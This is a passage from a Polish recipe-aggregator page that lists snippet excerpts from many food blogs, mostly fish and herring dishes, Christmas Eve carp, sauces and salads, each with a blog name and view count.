ząbek czosnku sól, pieprz, papryczka chili olej rzepakowy dekoracja: 7 pomidorków koktajlowych 6 oliwek czarnych 1 cebula czerwona 1 łyżka groszku mrożonego natka pietruszki pieprz czerwony ziarna Filet ryby odcinam od skóry i kroję na kawałki. Posypuję solą i pieprzem. Makaron gotuję aldente w osolonej wodzie, odcedzam. Groszek przekładam na patelnię, wlewam 1/4 szklanki wody i lekko go duszę około(...)wbijam jajka, dodaję śmietanę, jogurt, ser,czosnek rozduszony, sól, pieprz, chili i mieszam. Formę o średnicy 25 cm smaruję olejem. Wykładam połowę makaronu, wylewam połowę masy jajecznej, układam kawałki ryby i mieszam widelcem. Dodaję połowę groszku, pieczarki całe, wykładam resztę makaronu wylewam masę jajeczną, dodaję resztę groszku./ łyżkę groszku zostawiam do dekoracji/. Delikatnie mieszam widelcem z wierzchu. Na górze układam

wesoła kuchnia
Kotleciki rybne po Tajsku 74

Jeżeli chcemy z rybą poeksperymentować to szczerze polecam kotleciki po Tajsku. Bardzo ciekawy smak, trochę ograniczyłam ostre przyprawy bo kotleciki wyszłyby bardzo pikantne. Można podawać z ziemniakami,ryżem lub tylko surówką. Polecam. Składniki 400 g filetów z ryby 1/4 szkl. mąki ryżowej lub kukurydzianej 1 łyżka sosu rybnego 1 jajko 1/2 szklanki posiekanej świeżej kolendry … Czytaj dalej Kotleciki rybne

gotuj ze mną
Szpinak kremowy – gęsty i dobrze doprawiony 143

razy mnie namawiać nie trzeba! Szpinak to bardzo zdrowe i bardzo wszechstronne warzywo – przygotowany według dzisiejszego przepisu kremowy szpinak jest świetnym dodatkiem do obiadów z jasnym mięsem i rybą w roli głównej – albo do zjedzenia samodzielnie, po mojemu – z pitą i nieśmiertelnym jajkiem w koszulce. Przy szykowaniu szpinaku ważne jest, żeby zachować jego żywy kolor i strukturę – nikt poza niemowlakami(...)Podajemy gorący, skropiony sokiem z cytryny i posypany jeszcze odrobiną startego Pecorino. Pasuje do wszystkich jasnych mięs (do pieczonego, smażonego, duszonego lub gotowanego kurczaka labo indyka) i do ryb, np. do tak przyrządzonego filetu z łososia. U nas, jako bezmięsny obiad, szpinak dostał do towarzystwa jajko w koszulce i chlebki pita. Ale tak naszykowany szpinak sprawdzi się też super jako

Karo in the Kitchen
Sos koperkowo ogórkowy 121

Następnie wlać wodę lub bulion. Gotować mieszając. Doprawić do smaku sokiem z cytryny (1 – 1,5 łyżki), cukrem i ewentualnie solą. Następnie dodać śmietanę, wymieszać. Podawać na przykład do ryb. Podałam z babką(...)ryb

królestwo garów
Wtorek: Zapiekanka ziemniaczano-batatowa cottage pie 164

dań na świecie. Cottage pie – sposób na warzywa z rosołu My też je bardzo lubimy i przyrządzamy w różnych wersjach: z kalafirowym pure , wegetariańskie, zapieczone w słoiku , z rybą . Sheperd’s pie świetnie nadaje się do zużycia resztkowego pure i warzyw z rosołu. W tym tygodniu właśnie na bazie włoszczyzny z bulionu zrobiliśmy zapiekany lancz. W przepisie poniżej opisaliśmy(...)bazie jagnięciny/baraniny nazywa się sheperd’s pie, czyli zapiekanka pasterska. Cottage pie, czyli zapiekanka wiejska, ma w składzie wołowinę. Jest jeszcze jedna wersja zapiekanki – fish pie, czyli z rybą. Składniki: 500 g mięsa wołowo/wieprzowego 2 marchewki 2 pietruszki Kawałek selera lub 2 łodygi naciowego 1 łyżeczka suszonego rozmaryny (utartego na proszek) lub gałązka świeżego 1 czerwona cebula

Niedzielny kucharz
SOS KOPERKOWY : pyszny, prosty przepis 113

koperkowy przepis. Łatwy i sprawdzony przepis na domowy sos koperkowy.            Pyszny i prosty przepis na sos koperkowy na ciepło do mięs i ryby na śmietanie. Idealny i szybki sos koperkowy do pulpetów, łososia, polędwiczek wieprzowych lub do potrawki z kurczaka albo indyka. Sos koperkowy z tego przepisu jest delikatny i kremowy. Zamiast mleka użyłam(...)etapie do sosu koperkowego można już włożyć podgotowane wcześniej w rosole lub osolonej wodzie pulpeciki, podduszoną i pokrojoną w plastry polędwiczkę wieprzową, mięso z kurczaka lub indyka albo kawałki ryby. Możliwości jest wiele.  Smacznego :) Sos koperkowy

Moja Książka Kucharska
Sałatka z wędzoną makrelą i pestkami granatu 150

Bardzo lubię sałatki z dodatkiem ryb. Jakiś czas temu podzieliłam się z Wami przepisami na sałatkę z jajkiem i wędzonym pstrągiem , sałatkę z selerem naciowym i tuńczykiem , warstwową sałatkę ze śledziem , sałatkę z jajkiem i tuńczykiem czy standardowa sałatkę śledziową . Dzisiaj przyszedł czas na kolejną szybką, pyszną i zdrową sałatkę z wędzoną makrelą oraz pestkami granatu. Jest to doskonała propozycja

Życie ze smakiem
Kotlety rybne siekane 105

Jeśli znudziła Ci się klasyczna smażona ryba, dla odmiany polecam smaczne i proste w przygotowaniu kotlety rybne Pomysł na nie znalazłam w Kuchni Marzenki ( filmik ). Zrobisz je bardzo szybko. Nie wymagają mielenia mięsa – wystarczy posiekać rybę lub pokroić w drobną kosteczkę, wymieszać z pozostałymi składnikami, uformować i usmażyć. To świetne danie obiadowe, które można podawać z ryżem, kaszą, ziemniakami

Kulinarne S.O.S.
Buddha Bowl z soczystą piersią kurczaka, komosą i surowymi warzywami 145

miasteczka i wioski położone w okolicach klasztoru, a na koniec dnia zjadają to, co zebrali w darze. Bardzo często to proste, nieprzetworzone składniki: jajka, przeróżne warzywa, kawałki mięsa czy ryb, kasze i zboża. Dla mnie samej to zdrowa miska rozmaitości: trochę jak sałatka, trochę jak klasyczny obiad elegancko poddany dekonstrukcji. Do zjedzenia na ciepło lub na zimno. W wersji(...)mięsem, w wydaniu wegetariańskim (z rybą lub owocami morza) czy całkowicie wegańskiej (z soją w postaci tofu lub tempeh, seitanem albo bogatymi w białko roślinami strączkowymi), miska Buddy jest pyszna, pełna wartościowych składników, zdrowych tłuszczy, mikro i makroelementów, witamin, barw, faktur i smaku.   Bazę Buddha Bowl zawsze stanowią kasze i zdrowe ziarna – biały, długoziarnisty, dziki lub brązowy ryż, quinoa

Karo in the Kitchen
5 zdrowych przekąsek na każdą imprezę 395

coś dla siebie. 1. Świeże sushi Przygotowanie tego japońskiego przysmaku to z pewnością świetne rozwiązanie. Sushi składa się przeważnie z ryżu, owoców morza (najczęściej stosuje się surową lub gotowaną rybę) i wodorostów nori. To właśnie ryby sprawiają, że tak wiele osób docenia zbawienne dla organizmu właściwości sushi – łatwo się je przyswaja, a ponadto pozytywnie wpływają na ciśnienie krwi czy pracę

Kuchcik gotuje
TOP 10 najpopularniejszych wpisów z 2018 roku oraz blogowa ANKIETA - daj mi znać, jak mogę zmienić bloga dla Ciebie! 119

Pierwszy wpis z cyklu, który opublikowałam w marcu zeszłego roku. Tak więc niedługo będziemy mieli rocznicę tych postów na blogu :) Plan ten zawiera przepisy wegetariańskie oraz z dodatkiem ryby. 6. 3 przepisy na szybkie obiady do pracy na bazie kaszy To był pierwszy wpis na blogu z cyklu "3 przepisy na", który tak Wam się spodobał, że teraz publikuję tego(...)takie przydatne treści! 9. Proste obiady na 7 dni # 4 Co tu dużo mówić - polubiliście ten cykl i już! Plan numer 4 to dania wegetariańskie oraz z rybą, ale z możliwością modyfikowania do wersji z mięsem. 10. 3 pomysły na domowe sosy do sałatek i rady jak zrobić dobry dressing Moje ulubione przepisy na domowe dressingi, a także garść

Chilli Czosnek i Oliwa
Sałatka tuńczyk z ryżem 141

propozycja na niedrogą i smaczną przystawkę – zobaczcie jak powstaje sałatka tuńczyk z ryżem. Przepisów na sałatki nie powinno nam zabraknąć. Szczególnie doceniane są przepisy, które przygotowujemy z popularnej ryby w naszych sklepach, czyli tuńczyka. Połączenie ryżu z tuńczykiem przeżywało swój rozkwit w pierwszej dekadzie tego wieku. Teraz pojawiają się przepisy mocno udoskonalone. Zaletą tego przepisu jest łatwość przygotowania(...)innych przepisów z udziałem tuńczyka w roli głównej. Sprawdźcie sałatkę z tuńczykiem i awokado, albo kanapkę z tuńczykiem w jabłku . Zajrzycie także do n aszych ciekawych przepisów przygotowywanych z ryb . Na pewno przypadną wam do gustu. Bierzemy się do pracy. Zobacz mój film z przygotowania sałatki Składniki – Sałatka tuńczyk z ryżem paczka ugotowanego ryżu basmati 200 g tuńczyka

Kuchennyviral.pl
Kuchnia lekkostrawna, najlepsze przepisy na dania i desery w wersji light Barbara Toselli 118

swoją wiedzą z czytelnikami bloga. Książka podzielona jest na spis treści według składników.  Jajka i produkty mleczne oraz zamienniki mleka.  Makarony i zboża. Mięsa i wędliny. Owoce.Warzywa. Ryby. Masz ochotę na pyszną rybę w niecodziennym wydani lub pulpeciki z tuńczyka z oliwkami, orzeszkami piniowymi i kaparami,a może zupę owsianą z zielonym groszkiem, pewnie takiej nie jedliście. Jeśli

Sama słodycz i szczypta chili
Fasolka szparagowa z suszonymi pomidorami – dodatek do obiadu 155

zrobić stęskniony za latem ludź, któremu marzy się talerz zielonego dobra? Odpowiedź jest prosta: śmiało sięgnąć po mrożonkę! Tą mrożoną fasolkę z suszonymi pomidorami podałam do ryby i powiem Wam tyle – musicie ją wypróbować koniecznie, to przepyszne zestawienie! Nie wiem jak Wy – ja osobiście fasolkę uwielbiam , w każdym wydaniu i postaci. Jest bardzo wartościowa, przepyszna, szybka i bezproblemowa do zrobienia(...)wszystko dokładnie mieszamy. Próbujemy – solimy i pieprzymy do smaku. Podajemy fasolkę od razu, posypaną drobno startym parmezanem. Ta fasolka z suszonymi pomidorami świetnie sprawdzi się jako dodatek do ryb i kurczaka, ale możecie też nie dzielić się nią z nikim i zjeść wszystko sami Dodajcie wtedy przysłowiową „kropkę nad i” czyli jajko w koszulce, np. z TEGO PRZEPISU i zagryźcie

Karo in the Kitchen
Śledzie w cieście z puree z zielonego groszku 166

wszyscy z Was lubią śledzie, mimo że jest to bardzo dobra ryba, typowo polski przysmak. Tym razem postanowiłem pokazać Wam jak przygotować śledzie w cieście z puree z zielonego groszku. Jeśli do tej pory mieliście złe zdanie o śledziach to myślę, że ten przepis zmieni Wasze myślenie i smak… Składniki na śledzie w cieście (2 porcje) 4-6 filetów

Kulinarnyblog.pl - wiesz jak gotować!
Sałatka z tuńczyka i ciecierzycy + cytrynowy winegret 153

koszulce lub grillowanego sera halloumi – pasują wyśmienicie! SKŁADNIKI składniki na 4 porcje 1 puszka ciecierzycy (240-250g ciecierzycy po odcieku) 1 puszka tuńczyka w oleju w kawałkach (100g ryby po odcieku) 150g zielonego ogórka (waga po wypestkowaniu i obraniu) 200g kalarepki 2 małe szalotki 3 łyżki posiekanej natki pietruszki 3 łyżki posiekanej bazylii 1 czubata łyżeczka mieszanki ziół włoskich

Karo in the Kitchen
barszcz czerwony po mojemu 127

jeszcze inne. W ten sposób ocet balsamiczny nabiera niepowtarzalnego zapachu, koloru i smaku. Młody ocet balsamiczny o wodnistej konsystencji doskonale nadaje się do przyprawiania sałat, marynowania mięs i ryb, jako baza sosu vinegrette. Produkt o średnim wieku dojrzewania jest idealny (poza przyprawianiem warzyw) do podniesienia walorów smakowych risotto, mięs, ryb, zup-kremów oraz sałatek owocowych. Ocet balsamiczny gęsty, czyli taki

mojej kuchni
Nowe orientalne przyprawy Knorr 161

ognisty wygląd i smak. oprócz papryki znajdziemy w niej też galangal (tajski imbir), kolendrę, pieprz cayenne i trawę cytrynową. Przyprawa doskonale pasuje do owoców morza, wołowiny, kurczaka, ryżu i ryb. Jest też doskonała do zup, dipów i sosów. Garam Masala to autentyczny smak Indii. Aromatyczna przyprawa w której króluje imbir, cynamon, pieprz i kardamon. Na pewno nada ona ciekawego smaku(...)też ta przyprawa, która na pewno nieźle Was rozgrzeje. Znajdziemy tutaj paprykę, cukier trzcinowy, imbir, czosnek i pieprz cayenne. Ta mieszanka nada daniom wyrazistego smaku. Idealna do wieprzowiny, wołowiny, ryb, owoców morza oraz wszelkich marynat.  Wszystkie przyprawy są 100 % naturalne i odpowiednie dla wegan

kruche babeczki
Święta, święta, święta 148

uszkami - uszka mam już zamrożone. 2. Pierogi z kapustą i grzybami - również są już w zamrażarce, zamroziłam surowe w Wigilię rano je ugotuję, a przed kolacją podsmażę. 3. Ryba po grecku - planuję zrobić dwa dni przed i schować do lodówki by się przegryzła. 4. Kotlety z ryby z dipem jogurtowym - dzień przed kolacją wieczorem przygotuję wszystko,rano będę smażyć

Na moim talerzu
Chowder z łososiem wędzonym 118

Chowder jest niezwykle kremową zupą na bazie ryb lub owoców morza z dodatkiem dużej ilości mleka czy zasmażki. W mojej wersji jest z łososiem wędzonym, przez co otrzymujemy bardzo subtelny i bogaty smak. Chowder z łososiem wędzonym to pyszna kremowa zupa do przygotowania w około 30 minut! Delikatne mięso ryby połączone kremowym bulionem na bazie białego wina. Szybki i pyszny

Słodkie Gotowanie
Pasta z makreli - fit przepis 156

Witacjcie :) Swojego czasu nie jadałam wcale ryb. Teraz staram się nadrobić ten czas. Jak mi idzie? Całkiem dobrze :) Sprawdźcie co ciekawego mam dzisiaj dla Was Pasta z makreli - fit przepis   jedna wędzona makrela pęczek szczypiorku 100 chudego twarogu łyżeczka musztardy sarepskiej 3 łyżki jogurtu naturalnego sól ( u mnie jak już pewnie zauważyliście nowość czyli sól Himalajska - więcej znajdziecie tutaj(...)świeżo mielony pieprz  dodatkowo ogórki kiszone  Makrelę musimy obrać ze skóry i starannie usuwamy wszystkie ości. Ja po obraniu dokładnie sprawdziłam każdy kawałek, po czym rozdrobniłam rybę. Dodajemy twaróg, pokrojony drobno szczypiorek, musztardę, jogurt i doprawiamy do smaku solą i pieprzem.  Kanapki z pastą obowiązkowo podałam z ogórkiem kiszonym, który idealnie dopełnia smak

Kuchnia moimi oczami
Smażona tilapia 141

smażenia mąka kukurydziana do panierowania Sposób wykonania: Wszystkie składniki marynaty łączymy ze sobą. Polewamy nią filety i rozprowadzamy dokładnie na każdym kawałku. Pozostawiamy w chłodnym miejscu na kilka godzin. Rybę wyjmujemy z marynaty, obtaczamy w mące i smażymy na rozgrzanym oleju na złoty kolor z obydwu stron

Qchnia po prostu
Śledź na trzy sposoby 156

przygotowywaniu śledzi radze sobie całkiem nieźle Bardzo duża w tym zasługa mojego taty. To on nauczył mnie wszystkiego na temat tej ryby. Razem zawsze zajmowaliśmy się śledziami na wigilijny stół, to był nasz rytuał. Dlatego uważam, że  Śledź na trzy sposoby to kompilacja optymalna.   Szczególnie dumy jestem

kuron.com.pl
Amory, zaloty i podboje... Szymon Drobniak - recenzja książki. 123

inaczej wygląda to u pewnej pani diablicy w głębinach oceanu. Tam dopiero znalezienie męża to nie lada wyzwanie a gdy pani jest prawdziwą czarownicą rybiego świata problem się powiększa. Ryba która ma ogromną, zajmującą pół głowy paszczę z najeżonymi jak szpilki zębami kiedy już znajdzie swojego męża nie wypuszcza go ze swoich szpon nigdy. Takie ryby mogą dorastać nawet

Radość kipiąca uśmiechem.
dorsz w galarecie... 150

garnka, wlać wywar z włoszczyzny (wykorzystałam z warzyw do sałatki jarzynowej i zostawiłam dwie marchewki) i doprowadzić do zagotowania następnie zmniejszyć ogień i tylko aby wywar "pykał" gotować rybę z 15 minut, w wywarze zostawić do przestudzenia filety w kawałkach układać w miseczkach, szklankach, dodać jajka na twardo, groszek zielony, marchewkę, pieprz mielony, natkę pietruszki do wywaru wsypać żelatynę(...)mieszać do rozpuszczenia żelatyny lekko podgrzać, nie zagotować, do smaku przyprawić solą, przyprawą w płynie wywar wlać do porcji ryb, zamieszać łyżeczką i schować do lodówki najlepiej na całą noc, podawać z cytryną - filety z dorsza można również wykorzystać do przygotowania pysznej, dietetycznej galaretki, smakuje na każde okazje i na co dzień............SMACZNEGO

W Mojej Kuchni Lubię
JAJKA FASZEROWANE TUŃCZYKIEM (keto, LCHF, paleo, bez glutenu i laktozy) 405

zagościć na Waszych stołach nie tylko podczas świąt. To kolejna łatwa, szybka i tania przystawka sprawdzająca się na różnego rodzaju imprezach a także na co dzień. Połączenie jajek oraz ryby z warzywami daje naprawdę przepyszny efekt. Składniki – jajka faszerowane tuńczykiem: 4 duże jaja (u mnie rozm M) 120 g odsączonego tuńczyka w sosie własnym/w wodzie 30 g czerwonej

Ola la LCHF
Karp pieczony w śmietanie z cebulką. Doskonały na Wigilię! PRZEPIS 516

Następnie przesmaż pokrojoną w krążki cebulę. Na dnie brytfanki rozłóż śmietanę, na niej poukładaj kawałki karpia i cebulę. Piecz wszystko w temperaturze 180 stopni przez 35-40 min. Rada: rybę przed smażeniem możesz namoczyć w mleku. Będzie dużo delikatniejsza i pozbędziesz się mulistego smaku. Zobacz: Co daje namoczenie karpia w mleku? Spróbuj, a już zawsze będziesz tak robić Artykuł Karp

Kulinarna Polska
Śledzie po myśliwsku 144

Śledź z borowikami , w gęstym i aromatycznym sosie, to dobry pomysł na wigilijnego śledzika dla każdego, kto lubi zarówno tę rybę jak i grzyby. Razem smakują bardzo dobrze. Zobacz przepis na klasyczne śledzie w oleju ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Najtańsza wigilia 134

głównie w Łodzi. Składniki: - grzyby z wcześniejszego przepisu  Wykonanie: Grzyby podsmażamy na patelni. Można wcześniej obtoczyć w mące. Seler po grecku Jest takie danie, które uchodzi za wigilijne. Ryba po grecku. Problem w tym, że Grecy takiego przepisu nie znają. Nie wiadomo dlaczego tak to nazwano. Być może dlatego, że warzywa w towarzystwie pomidorów są w Grecji bardzo popularne(...)Jest natomiast coś bardziej greckiego. Mianowicie seler, który pochodzi z Grecji. Trochę przypomina filety ryby, ale nie to jest istotne w tej kwestii. Istotne jest to, że jest to bardziej greckie danie niż gdyby był w nim dorsz. No i dużo tańsze :) Składniki: - seler i pozostałe warzywa wyjęte z zupy - koncentrat pomidorowy Wykonanie: Starte warzywa mieszamy z koncentratem i przykrywamy

Kryzysowa Książka Kucharska
ŚLEDZIE W CZERWONEJ KAPUŚCIE (keto, LCHF, bez glutenu) 191

Śledzie w czerwonej kapuście to kolejny pomysł na podanie tej jakże zdrowej ryby, którą osobiście uwielbiam pod każdą postacią.Nie tylko doskonale smakuje, ale i świetnie wygląda dlatego sprawdzi się także na różnego rodzaju uroczystościach, Wigilii, Sylwestrze itp. Składniki – śledzie w czerwonej kapuście: 400 g (4 średnie płaty śledziowe matiasy) 100 ml delikatnej oliwy z oliwek extra virgin i/lub

Ola la LCHF
LECZENIE POPRZEZ ŻYWIENIE 137

gastryczne. Przetestowały m.in: Amfa i Fuzja. 3. Forza 10 oto active , która pomogła wyleczyć i utrzymać w zdrowiu chore uszy u zaprzyjaźnionej bokserki Aiszy. 4. Forza10 Puppy Junior z rybą, która doskonale sprawdza się u szczeniąt. Świetnie sprawdziła się m.in u Elmo. 5. Forza10 Medium MAINTENANCE z rybą, którą przetestowałam na mojej starszej bokserce Sabie. Godna polecenia i uwagi jest

Wypisz Wymaluj
ŚLEDZIE KORZENNE (keto, LCHF, paleo, bez glutenu i laktozy) 128

Święta to dla mnie zapach przyprawy korzennej i królujące na wigilijnym stole ryby. Stąd przepis na śledzie korzenne. Nie każdy lubi takie połączenie, ale amatorzy śledzi i przyprawy piernikowej uwielbiają tę wersję. Proste i szybkie w przygotowaniu śledzie korzenne świetnie sprawdzą się na Wigilię, ale i na inne uroczystości. Śledzie korzenne pachnące cynamonem, gałką muszkatołową i goździkami stają co roku

Ola la LCHF
Recenzja robota z Lidl Polska Silver Crest MONSIEUR CUISINE 144

dwie tacki plus koszyczek do misy. Korzystając z funkcji gotowania na parze, spokojnie przygotujesz obiad dla 4 osobowej rodziny. Testując urządzenie zrobiłam, ziemniaki ( w koszyczku), kalafiora (środkowa taca) i rybę (górna taca). Żaden ze składników nie przeszedł aromatem innego. To co mnie zachwyciło to tekstura i smak. Warzywa nie były ciapowate, były idealnie zrobione i przede wszystkim zachowywały prawdziwy smak(...)często warzywa na parze, ich smak jest taki rozwodniony, tutaj absolutnie tego nie ma!) Ryba idealnie odchodziła od ości. Korzystałam z aut. programu gotowanie na parze.  Miksowanie- hummus z soczewicy . - szklanka suchej soczewicy,  - 2 ząbki czosnku - 6 łyżek oliwy z oliwek - 3 łyżki przyprawy zatar - 2 łyżki pasty tahini Soczewicę gotujemy w misie (idealnie ugotowana, cała ziarna

SMYKWKUCHNI
Świąteczna ściąga przepisów 142

Przedstawiam Wam kilka sprawdzonych przepisów na  świateczne dania.  Zupa grzybowa Śledź po kaszubsku Śledź w oleju Rolada szpinakowa z łososiem Tradycyjna sałatka jarzynowa Ryba po grecku Pieczona ryba z cebulą pomidorową Wilgotny piernik ekspresowy Sernik krakowski Sernik z brzoskwiniami Sernik bez sera Ciasto mandarynkowe Polecam! Natalia

Smaki Natalii
Omułki , mule po belgijsku 170

Zachęcam , spróbujcie chociaż raz bo naprawdę warto W naszym kraju wiele osób podchodzi do nich sceptycznie z dużym uprzedzeniem i ostrożnością , co jest zupełnie nie uzasadnione . Wcale nie jadą rybami , ani mułem , są pyszne , soczyste i delikatne. Mówi to wam ktoś, kto nigdy nie był zwolennikiem owoców morza , a te uwielbia Ostatnio dostępne coraz częściej w marketach . Takie schłodzone

Ogrodnik w podróży
Wigilijny karp w galarecie 138

natka z pietruszki zielony groszek cytryna Wykonanie: 1. Karpia oprószyć solą, skropić sokiem z cytryny i odłożyć na 2-3 godziny do lodówki. Po tym czasie odciąć głowę, podzielić rybę na części, usunąć szkielet i resztę ości pozostawiając skórę. Rybi łeb, szkielet przełożyć do garnka, zalać 1 litrem wody, dodać włoszczyznę, vegetę, liście laurowe, ziele angielskie i gotować na małym(...)następnie całość wystudzić. 2. Kawałki karpia zawinąć osobno w aluminiową folię i wstawić do piekarnika nagrzanego do 160 stopni na około 25 minut. Po tym czasie wystudzić upieczoną rybę, ułożyć na półmisku (zaczynając od głowy), dodać groszek, natkę z pietruszki, marchewkę w kształcie gwiazdek, plasterki cytryny i zalać lekko tężejącym wywarem rybnym, po czym wstawić do lodówki na minimum godzinę

Szalona Kuchnia Eweliny
PRZEPISY NA WIGILIĘ I BOŻE NARODZENIE (keto, LCHF, paleo, bez glutenu i laktozy) 565

czyli pierniki, ciasta i pierniczki. Zgodnie z tradycją na stole wigilijny powinno znaleźć się 12 potraw a tu zebrałam ponad 30 samych bezmięsnych inspiracji na karpia, śledzie i inne ryby czy potrawy faszerowane kapustą i grzybami, więc jest z czego wybierać. Nie zabrakło także inspiracji na bożonarodzeniowe menu: mięsa pieczone, rolady, sałatki i inne przystawki oraz oczywiście desery. Przepisy

Ola la LCHF
Śledź w soku z cytrusów z czarnuszką i żurawiną 110

naszym stole pojawia się kilka różnych dań ze śledziem w roli głównej właśnie. Zawsze są potrawy tradycyjne, ale staram się też szukać nowych smaków i pomysłów na tę pyszną rybę. Dziś zapraszam Was na przepis autorstwa Jagny Niedzielskiej, który został przez nas nieco zmodyfikowany. Jest to śledź w soku z cytrusów z czarnuszką i żurawiną. Zaskakujące połączenia? Tak, ale baaaardzo(...)duże szklanki mleka. Możesz je zastąpić jogurtem, kefirem i - częściowo - serem. Ograniczaj spożycie mięsa (zwłaszcza czerwonego i przetworzonych produktów mięsnych do 0,5 kg/tyg.). Jedz ryby, nasiona roślin strączkowych i jaja. Ograniczaj spożycie tłuszczów zwierzęcych. Zastępuj je olejami roślinnymi. Unikaj spożycia cukru i słodyczy (zastępuj je owocami i orzechami). Nie dosalaj potraw

Kulinarne przygody Gatity
Propozycje świąteczne na śledzie i ryby 186

Propozycje na świąteczne rybki (będą aktualizacje:) Śledzie w marynacie korzennej Śledzie po kaszubsku - w sosie pomidorowym Ryba po grecku Śledzie po cygańsku Ryba z pieczarkami i papryką w sosie Śledzie z suszonymi pomidorami Śledzie w sosie czosnkowym Śledzie z majerankiem i olejem lnianym Śledzie z rodzynkami - po sułtańsku Śledzie z fasolką czerwoną Śledzie po duńsku Sałatka jarzynowa ze śledziami Śledzie

Uwaga Babcia Gotuje
Surówka z fenkułu – surówka z kopru włoskiego 127

wykorzystać na surówki lub do zup, a cienkie, delikatne i pierzaste listki kopru włoskiego – podobnie jak koper ogrodowy – do dekoracji i wykańczania potraw, szczególnie tych na bazie jaj i ryb. Koper włoski ma bardzo charakterystyczny smak – słodkawy, anyżkowo-lukrecjowy i świeży. Bulwa traci te aromaty po podgrzaniu – przy zapiekaniu, gotowaniu i grillowaniu fenkuł gubi lotne olejki odpowiadające za ten smak(...)stanie zjeść sama całą tą dużą porcję, na kolację albo i na deser. Jeśli chcecie się tymi delicjami podzielić, wykorzystajcie surówkę z kopru włoskiego do białych mięs lub do ryby. SKŁADNIKI 4 średniej wielkości porcje do obiadu 1 duży fenkuł (ok. 500g) 150g jabłka – twardego, soczystego 30g orzechów włoskich 2 łyżki oliwy extra virgin 2 łyżki octu jabłkowego 1 łyżka

Karo in the Kitchen
barszcz czerwony po mojemu 408

jeszcze inne. W ten sposób ocet balsamiczny nabiera niepowtarzalnego zapachu, koloru i smaku. Młody ocet balsamiczny o wodnistej konsystencji doskonale nadaje się do przyprawiania sałat, marynowania mięs i ryb, jako baza sosu vinegrette. Produkt o średnim wieku dojrzewania jest idealny (poza przyprawianiem warzyw) do podniesienia walorów smakowych risotto, mięs, ryb, zup-kremów oraz sałatek owocowych. Ocet balsamiczny gęsty, czyli taki

w mojej kuchni
Śledzie marynowane w occie 172

mleku (są wtedy wyjątkowo kruche i smaczne) lub ewentualnie w zimnej wodzie przez 5-6 godzin (a najlepiej przez całą noc), aby pozbyć się nadmiaru soli (najlepiej posmakować kawałek ryby i ocenić, czy taki poziom soli nam odpowiada – jeśli nadal są za słone, to przepłukać je kilka razy w zimnej wodzie). Niektórzy moczą matjasy maksymalnie 2 godziny, aczkolwiek(...)śledzi marynowanych wolę pozbyć się większości soli z ryb (dlatego moczę je zdecydowanie dłużej), by potem dosolić do swojego smaku zalewę. Przygotować zalewę. Do garnka wlać 1,5 szklanki wody, pół szklanki octu, 2 łyżeczki cukru, 2 ziarna ziela angielskiego, 3 ziarna pieprzu, 1 liść laurowy i pół łyżeczki soli. Doprowadzić zalewę do wrzenia, a następnie gotować przez 5 minut

Kulinarne Przeboje
Śledzie marynowane w occie 1722

mleku (są wtedy wyjątkowo kruche i smaczne) lub ewentualnie w zimnej wodzie przez 5-6 godzin (a najlepiej przez całą noc), aby pozbyć się nadmiaru soli (najlepiej posmakować kawałek ryby i ocenić, czy taki poziom soli nam odpowiada – jeśli nadal są za słone, to przepłukać je kilka razy w zimnej wodzie). Niektórzy moczą matjasy maksymalnie 2 godziny, aczkolwiek(...)śledzi marynowanych wolę pozbyć się większości soli z ryb (dlatego moczę je zdecydowanie dłużej), by potem dosolić do swojego smaku zalewę. Przygotować zalewę. Do garnka wlać 1,5 szklanki wody, pół szklanki octu, 2 łyżeczki cukru, 2 ziarna ziela angielskiego, 3 ziarna pieprzu, 1 liść laurowy i pół łyżeczki soli. Doprowadzić zalewę do wrzenia, a następnie gotować przez 5 minut

Kulinarne Przeboje
Niedzielny obiad w stylu świątecznym z niemieckim winem 135

wiaderku (na sernik) łyżeczka żelatyny rozpuszczona w gorącej wodzie 50 ml śmietany tłustej 36% 2 łyżki chrzanu pół łyżeczki miodu szczypta soli Przepis na mus chrzanowy do polania ryby Mieszamy ser z chrzanem, śmietaną i ostudzoną rozpuszczoną w gorącej wodzie żelatyną. Doprawiamy solą i miodem i wkładamy na stężenie do lodówki Pęczak z suszonymi owocami cebula drobno pokrojona kostka masła(...)przykryte do piekarnika i pieczemy godzinę w 150 stopniach zaglądając kilka razy, żeby dolać więcej wody. Przed podaniem mieszamy kasze z sokiem z cytryny. Całość: Na kaszy układamy kawałek ryby, trochę cebuli i polewamy musem chrzanowym. Dekurujemy listkiem pietruszki lub inną zieleniną. Jakie wino będzie pasować do karpia? Na naszej kolacji podano je z wytrawnym Scheurebe z 2017 z winnicy

Ugotowane pozamiatane
Zapiekane kanapki z paluszkami rybnymi i mozzarellą / Fish sticks and mozzarella toasts 268

ciągnącą warstwą mozzarelli z pewnością sprawdzą się na kolację jak i na pożywne śniadanie. Dlaczego akurat paluszki rybne FRoSTY? Ano dlatego, że mają doskonały skład: 65% filetów z białych ryb, z certyfikowanych łowisk MSC, zamrażanych jeszcze na pokładzie kutra rybackiego, 15% panierki składającej się z mąki pszennej, soli, papryki, kurkumy i drożdży, oleju słonecznikowego, i skrobi ziemniaczanej. Nie ma się

karmelowy
Cairo shoarma. Dobry przepis na 116

nada im arabską nutę. Propozycja na dzisiejszą kolację, powinna zachwycić najbardziej wymagających. Do dzieła ! Produkty jakie będą nam potrzebne dla 3-4 osób 500 gram mięsa drobiowego lub ryby – jak kto woli po 1 papryce czerwonej, zielonej oraz żółtej 1 cebula 1 cukinia 2-3 łyżki oleju 2 łyżki mąki Przystępujemy do dzieła – Cairo shoarma Myjemy warzywa, obieramy(...)kroimy. Obtaczamy mięso ( drobiowe lub rybę) w mące i podsmażamy z pokrojoną cebulką dodając jedno opakowanie przyprawy cairo shoarma ( składa się z kurkumy, pietruszki, kolendry, cukru brązowego, fenkuł, pieprzu, mięty, soli jodowanej). Mieszamy wszystko bardzo dokładnie. Dodajemy warzywa, podlewamy wodą i dusimy pod przykryciem na małym ogniu około 15 minut, mieszając od czasu do czasu. Kiedy potrawa jest już gotowa

sierotka maRysia w kuchni
Rúgbrauð - islandzki chleb wulkaniczny 168

upiec w domu pomimo braku gejzerów i lawy pod podłogą ;) Gliniaste, ciężkie kromki o mocno słodkawym posmaku najlepsze są z samym masłem ale równie wyśmienite będą z kawałkami wędzonej ryby, czy innymi dodatkami. W Islandii najczęściej serwuje się go z jagnięciną pod wieloma postaciami, śledziem lub innymi rybami, a kiedy chleb nie jest już pierwszej świeżości miksuje się

Kuchnia w Słońcu Skąpana
Surówka z fenkułu – surówka z kopru włoskiego 233

